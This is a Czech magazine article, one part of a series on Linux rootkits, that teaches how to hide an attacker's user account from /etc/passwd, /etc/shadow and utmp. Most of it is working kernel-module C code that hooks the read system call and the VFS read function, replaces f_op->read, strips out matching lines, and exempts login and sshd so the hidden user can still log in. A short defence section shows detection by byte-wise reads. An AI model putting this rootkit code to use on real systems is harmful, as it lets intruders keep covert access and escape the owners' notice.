---[ Linuxový rootkit: skrývání částí souborů ]------------- Dnešní díl seriálu o linuxových rootkitech bude méně rozsáhlý než předchozí, ale doufám, že neméně zajímavý. Ukážeme si další kroky, jak ukrýt svou přítomnost v systému. Budeme se zabývat skrýváním záznamů v souborech. Na co potřebujeme, resp. na co útočník potřebuje, skrýt část souboru? Tak například pro skrytí uživatele v souborech /etc/passwd a /etc/shadow, dá se takto urýt i záznam z výpisu "w" nebo "who", nebo zneviditelnit vybrané síťové spojení. Tím ale možnosti nekončí, popisované techniky mohou mít široké využití, navíc není nutné pouze skrývat, můžeme takto i falšovat záznamy v souborech, aniž bychom je fyzicky museli měnit. Princip Princip každého nejspíš napadne. Je třeba upravit funkci, která se stará o čtení dat ze souboru, aby čtoucí programy dostávaly již upravená data. Čtecí funkce získá správná data, prozkoumá je a zjistí, zda obsahují informace, které chceme skrýt, a vhodným způsobem je odstraní. Pak předstírá, že upravená data jsou ta, které přečetla, a vrátí je nic netušícímu programu. V tomto článku budu popisovat dvě techniky: - klasické hooknutí systémového volání read - hooknutí VFS funkce read Hooknutí systémového volání read Techniky hookování systémových volání jsou popisované v předchozím díle (moduly vs. /dev/kmem), takže doufám, že není třeba je podrobně vysvětlovat. Nahlédneme-li do manuálových stránek systémového volání read (man 2 read), nebo třeba do zdrojových kódů jádra, uvidíme jaké má parametry: ssize_t read(int fd, void *buf, size_t count); Prvním parametrem je deskriptor souboru, ze kterého se čte. Využijeme jej pro získání názvu čteného souboru. Deskriptor je index v tabulce otevřených souborů, kterou má každý proces vlastní. Název souboru tedy získáme z tabulky otevřených souborů aktuálního procesu takto: current->files->fd[fd]->f_dentry->d_name.name Do paměti, na kterou ukazuje druhý parametr (buf), read ukládá přečtená data. Tento ukazatel je namířen do userspace, s touto pamětí kód z userspace nemůže manipulovat. Data musíme tedy před úpravou zkopírovat do kernelspace a potom zase zpět. K tomu slouží funkce copy_from_user(void *to, void *from, int len) copy_to_user(void *to, void *from, int len) Poslední parametr určuje maximální počet čtených bajtů. Systémové volání vrací počet přečtených bajtů. Takže když si to všechno shrneme, dostaneme následující kostru nové, upravené funkce read. Najdete ji na výpisu 1. Výpis 1 ssize_t new_read(unsigned int fd, char *buf, size_t size) { ssize_t res = o_read(fd, buf, size); char filename[256] = {0}; char buffer[4096] = {0}; if (res <= 0) return -res; /* pro skrytého uživatele nic skryto nebude */ if (current && current->uid == INVISIBLE_UID) return res; /* přečtená data uložíme do kernelspace bufferu */ copy_from_user(buffer, buf, sizeof(buffer)); if (current && current->files && current->files->fd[fd]) { /* uložíme si název souboru, ze kterého se čte */ snprintf(filename, sizeof(filename), "%s", current->files->fd[fd]->f_dentry->d_name.name); /* manipulace s daty -- s kernelspace bufferem */ /* ... */ /* případně upravená data uložíme zase zpět do userspace */ copy_to_user(buf, buffer, sizeof(buffer)); } return res; } Hooknutí VFS funkce read Jak jsem je již zmínil v předchozím díle, každý soubor má definovanou množinu operací s ním, které se pro každý filesystém liší. To znamená, že na této úrovni jsou funkce pro čtení z filesystému ext2 a např. z vfat jiné, narozdíl od systémového volání read, které je jen jedno, má pro všechny filesystémy stejnou adresu. Tuto věc musíme mít na paměti, záleží na konkrétním použití. Pokud je možnost, že soubor, ve kterém chceme něco skrýt může být na disku vícekrát na různých filesystémech, musíme ošetřit všechny (pro každý filesystém jeden). Ale pojďme k věci. Nejdříve potřebujeme zjistit adresu funkce, kterou budeme měnit. V jádře se informace o souborech ukládají do struktury struct file, která mimo jiné obsahuje f_op -- ukazatel na strukturu struct file_operations, kterou jsme si popisovali v minulém díle (file i file_operations je deklarována v hlavičkovém souboru linux/fs.h). Pro čtení se samozřejmě používá funkce read, která je v této struktuře deklarována. Její prototyp vypadá takto: ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); První parametr je ukazatel na odpovídající strukturu file. Ta nám pomůže při získání názvu čteného souboru. Získáme ho tako: f->f_dentry->d_name.name Druhým parametrem funkce předává přečtená data. Ukazatel na ně míří již do kernelspace, takže není třeba data kopírovat, jako u systémových volání. Třetí parametr udává počet předávaných bajtů a poslední parametr udává pozici v souboru. K adrese správné funkce se dostaneme takto: struct file *f; f = filp_open("/etc/passwd", O_RDONLY, 0600); printk("<7>Adresa funkce read pro soubor /etc/passwd: 0x%x\n", f->f_op->read); filp_close(f, NULL); Hooknutí je už rutina. Uložit původní adresu, přepsat adresu adresou naší funkce, při odpojení modulu, vše vrátit do pořádku. Funkce, vykonávající se při připojení a odpojení modulu najdete na výpisu 2. Je v nich přidaných pár kontrol, což by mělo být u kódu jádra dobrým zvykem. Výpis 2 /* připojení modulu */ int init_module() { struct file *f; f = filp_open("/etc/passwd", O_RDONLY, 0600); if (!IS_ERR(f)) { if (f && f->f_op) { old_read = f->f_op->read; f->f_op->read = new_read; } filp_close(f, NULL); } } /* odpojení modulu */ void cleanup_module() { struct file *f; f = filp_open("/etc/passwd", O_RDONLY, 0600); if (!IS_ERR(f)) { if (f && f->f_op) f->f_op->read = old_read; filp_close(f, NULL); } } Věc, která nás asi teď zajímá, je, jak bude vypadat naše funkce new_read. Bystřejším čtenářům je to už asi zbytečné popisovat, není to nic světoborného. Opět zavoláme původní funkci a upravíme přečtený buffer. Kostra takové funkce je na výpisu 3. Výpis 3 ssize_t new_read(struct file *f, char *buffer, size_t count, loff_t *ppos) { /* zavoláme původní funkci a uložíme si návratovou hodnotu */ ssize_t res = old_read(f, buffer, count, ppos); /* pro skrytého uživatele nic skrývat nebudeme...*/ if (current->uid == HIDDEN_UID) return res; /* zde si zanalyzujeme přečtená data a provedeme případné změny */ /* .... */ return res; } Co s přečtenými daty provedete, je už na vaší fantazii. Možností je spousta. Ale přece jen je to seriál o rootkitech, takže si nějaké v rootkitu použitelné úpravy ukážeme. Skrývání informací v souborech Jak jsem na začátku sliboval, ukážeme si, jak skrýt záznam o uživateli v souborech /etc/passwd a /etc/shadow. Potrebujeme zjisit, zda se v právě čteném bufferu nachází řádek s uživatelem, kterého chceme skrýt, a pak jej celý odstranit. To provedeme pouze v případě, že čtení neprovádí proces s názvem login nebo sshd. Pak by celá věc nebyla příliš užitečná, protože by se uživatel nemohl ani přihlásit. Takže kód pro skrytí uživatele by mohl vypadat následovně: if ((!strcmp(filename, "passwd") || !strcmp(filename, "shadow")) && strcmp(current->comm, "login") && strcmp(current->comm, "sshd")) { if (strstr(buffer, HIDDEN_USERNAME)) return res - remove_line(buffer, HIDDEN_USERNAME); } Nejdříve ověříme jméno čteného souboru, pak jméno aktuálního procesu a nakonec zda je jméno skrytého uživatele v bufferu. Pro odstranění řádku z uživatelem jsem si napsal jednu moc ošklivou funkci remove_line, která vrací počet odstraněných bajtů. Návratová hodnota funkce read je počet přečtených bajtů, takže od jí upravíme tak, aby po odstranění dat byla správná. Celou funkci remove_line najdete ve výpisu 4. Výpis 4 int remove_line(char *buffer, char *str) { char *ptr = strstr(buffer, str); char *prev_line = ptr, *next_line = ptr; int rest_length = 0; int line_length = 0; if (ptr == NULL) return 0; while (prev_line > buffer && *prev_line != '\n') prev_line--; while (*next_line != 0 && *next_line != '\n') next_line++; line_length = next_line - prev_line; if (prev_line == ptr) next_line++; ptr = next_line; while (*(ptr++) != 0) rest_length++; while (next_line <= ptr) *(prev_line++) = *(next_line++); return line_length; } Na co je však skrytí uživatele z /etc/passwd, když se objeví ve výpisu přihlášených uživatelů (příkaz w a who). Podíváme-li se příkazem 'strace who' na seznam použitých systémových volání, konkrétně na open, zjistíme, že who pouze čte informace ze souboru /var/run/utmp. V tomto souboru jsou uloženy informace o přihlášených uživatelích ve strukturách struct utmp. Pohledem do souboru /usr/include/bits/utmp.h nebo do manulálových stránek k utmp zjistíme, jak tato struktura vypadá. Najdete ji na výpisu 5. Výpis 5 #define UT_LINESIZE 32 #define UT_NAMESIZE 32 #define UT_HOSTSIZE 256 struct exit_status { short int e_termination; /* Process termination status. */ short int e_exit; /* Process exit status. */ }; struct utmp { short int ut_type; /* Type of login. */ pid_t ut_pid; /* Process ID of login process. */ char ut_line[UT_LINESIZE]; /* Devicename. */ char ut_id[4]; /* Inittab ID. */ char ut_user[UT_NAMESIZE]; /* Username. */ char ut_host[UT_HOSTSIZE]; /* Hostname for remote login. */ struct exit_status ut_exit; /* Exit status of a process marked as DEAD_PROCESS. */ long int ut_session; /* Session ID, used for windowing. */ struct timeval ut_tv; /* Time entry was made. */ int32_t ut_addr_v6[4]; /* Internet address of remote host. */ char __unused[20]; /* Reserved for future use. */ }; Programy čtou data po celých strukturách, takže čtený buffer obsahuje právě jednu strukturu utmp. To nám velmi usnadňuje práci. Stačí se na buffer dívat jako na strukturu (přetypujeme), zkontrolovat si pokožku ut_user a v případě, že jde o našeho uživatele, strukturu vyplníme nulami nebo vrátíme 0, což znamená, že funkce říká, že nic nepřečetla. Efekt je stejný. Uživatel zmizí z výpisu programů w, who a lastlog. Kód, který přidáme do new_read vypadá takto: if (!strcmp(filename, "utmp")) { struct utmp *utmp_entry = (struct utmp *) buf; if (utmp_entry && !strcmp(utmp_entry->ut_user, HIDDEN_USERNAME)) { memset(utmp_entry, 0, sizeof(struct utmp)); return 0; } } Kompletní upravené funkce najdete na výpisu 6 (systémové volání) a 7 (VFS). Výpis 6 /* upravená VFS funkce read */ ssize_t new_read(struct file *f, char *buffer, size_t count, loff_t *ppos) { /* zavoláme původní funkci a uložíme si návratovou hodnotu */ ssize_t res = old_read(f, buffer, count, ppos); /* pro skrytého uživatele nic skrývat nebudeme...*/ if (current->uid == HIDDEN_UID) return res; if (f && f->f_dentry) { /* skryjeme našeho uživatele z /etc/passwd a /etc/shadow, * s vyjímkou programů login a sshd */ if ((!strcmp(f->f_dentry->d_name.name, "passwd") || !strcmp(f->f_dentry->d_name.name, "shadow")) && strcmp(current->comm, "login") && strcmp(current->comm, "sshd")) { if (strstr(buffer, HIDDEN_USERNAME)) return res - remove_line(buffer, HIDDEN_USERNAME); } /* skryjeme záznam v utmp */ if (!strcmp(f->f_dentry->d_name.name, "utmp")) { struct utmp *utmp_entry = (struct utmp *) buf; if (utmp_entry && !strcmp(utmp_entry->ut_user, HIDDEN_USERNAME)) { memset(utmp_entry, 0, sizeof(struct utmp)); return 0; } } } return res; } Výpis 7 /* upravené systémové volání read */ ssize_t new_read(unsigned int fd, char *buf, size_t size) { ssize_t res = o_read(fd, buf, size); char filename[256] = {0}; char buffer[4096] = {0}; if (res <= 0) return -res; /* pro skrytého uživatele nic skryto nebude */ if (current && current->uid == INVISIBLE_UID) return res; copy_from_user(buffer, buf, sizeof(buffer)); /* skryjeme záznam v /etc/passwd a /etc/shadow */ if (current && current->files && current->files->fd[fd]) { snprintf(filename, sizeof(filename), "%s", current->files->fd[fd]->f_dentry->d_name.name); if (strcmp(current->comm, "login") && strcmp(current->comm, "sshd") && (!strcmp(filename, "passwd") || !strcmp(filename, "shadow"))) { if (strstr(buffer, HIDDEN_USERNAME)) { res -= remove_line(buffer, HIDDEN_USERNAME); copy_to_user(buf, buffer, sizeof(buffer)); } } } /* skryjeme záznam v utmp */ if (!strcmp(filename, "utmp")) { struct utmp *utmp_entry = (struct utmp *) buffer; if (utmp_entry != NULL && !strcmp(utmp_entry->ut_user, HIDDEN_USERNAME)) return 0; } return res; } Obrana Popisované techniky lze snadno obejít. Obě pracují tak, že hledají řetězec identifikující uživatele ve čtených datech. Programy (cat, who apod..) čtou soubory po velkých blocích, je to rychlejší -- není totiž třeba volat systémové volání read tolikrát. Ale pokud bychom četli po blocích, které jsou kratší než řetězec identifikující uživatele, takto změněná funkce nemá v žádném případě možnost takovýto řetězec najít. Takže stačí, když si např. soubor /etc/passwd přečteme znak po znaku: % dd if=/etc/passwd bs=1 Pro každý znak se bude systémové volání read volat zvlášť, buffer bude tedy obsahovat vždý 1 znak. Takže strcmp(buffer, HIDDEN_USERNAME) nikdy nevrátí 0 (0 znamená, že se řetězce rovnají). V případě souboru /var/run/utmp bychom si museli napsat prográmek, který čte struktury po menších jednotkách, třeba také po bajtech. Takovýto program najdete ve výpisu 8 Výpis 8 #include #include #include #include #include int main() { FILE *fd; struct utmp record; char *ptr; char ch; int i = 0; int index = 0; if (!(fd = fopen("/var/run/utmp", "r"))) { fprintf(stderr, "Nelze otevrit soubor /var/run/utmp\n"); exit(1); } memset(&record, 0, sizeof(record)); ptr = (char *)&record; while ((ch = fgetc(fd)) != EOF) { ptr[index] = ch; i++; index = i % sizeof(record); if ((i % sizeof(record)) == 0) { if (record.ut_type == USER_PROCESS) printf("%s\t%s\n", record.ut_user, record.ut_line); memset(&record, 0, sizeof(record)); } } fclose(fd); return 0; } Závěr Hookování systémových volání je dnes příliš nápadné, je to zastarávající technika. Hookování VFS funkcí je nebezpečnější, protože s touto technikou příliš detekčních nástrojů nepočítá. Nebezpečí také může spočívat v tom, že úprava funkce, jak jste si možná všimli, je jednodušší než u hookování systémových volání. Není se třeba příliš starat o to, zda paměť je v user nebo kernel space. Tyto funkce jsou hlouběji v kernelu, takže jejich "okolí" je také kernel. Systémová volání jsou přímo na povrchu, jsou na hranici s userspacem. Popisované příklady naleznete na CD příloze. Příklady jsou LKM pro verze jádra 2.4, ale po pochopení předchozího dílu "moduly vs. /dev/kmem" by vám nemělo činit problémy je přepsat tak, aby fungovaly i v jádrech 2.6. Příště V dalších dílech se pravděpodobně vrhneme na slibované backdoory, skrývání modulů nebo přesměrovávání spustitelných souborů. Jiří Hýsek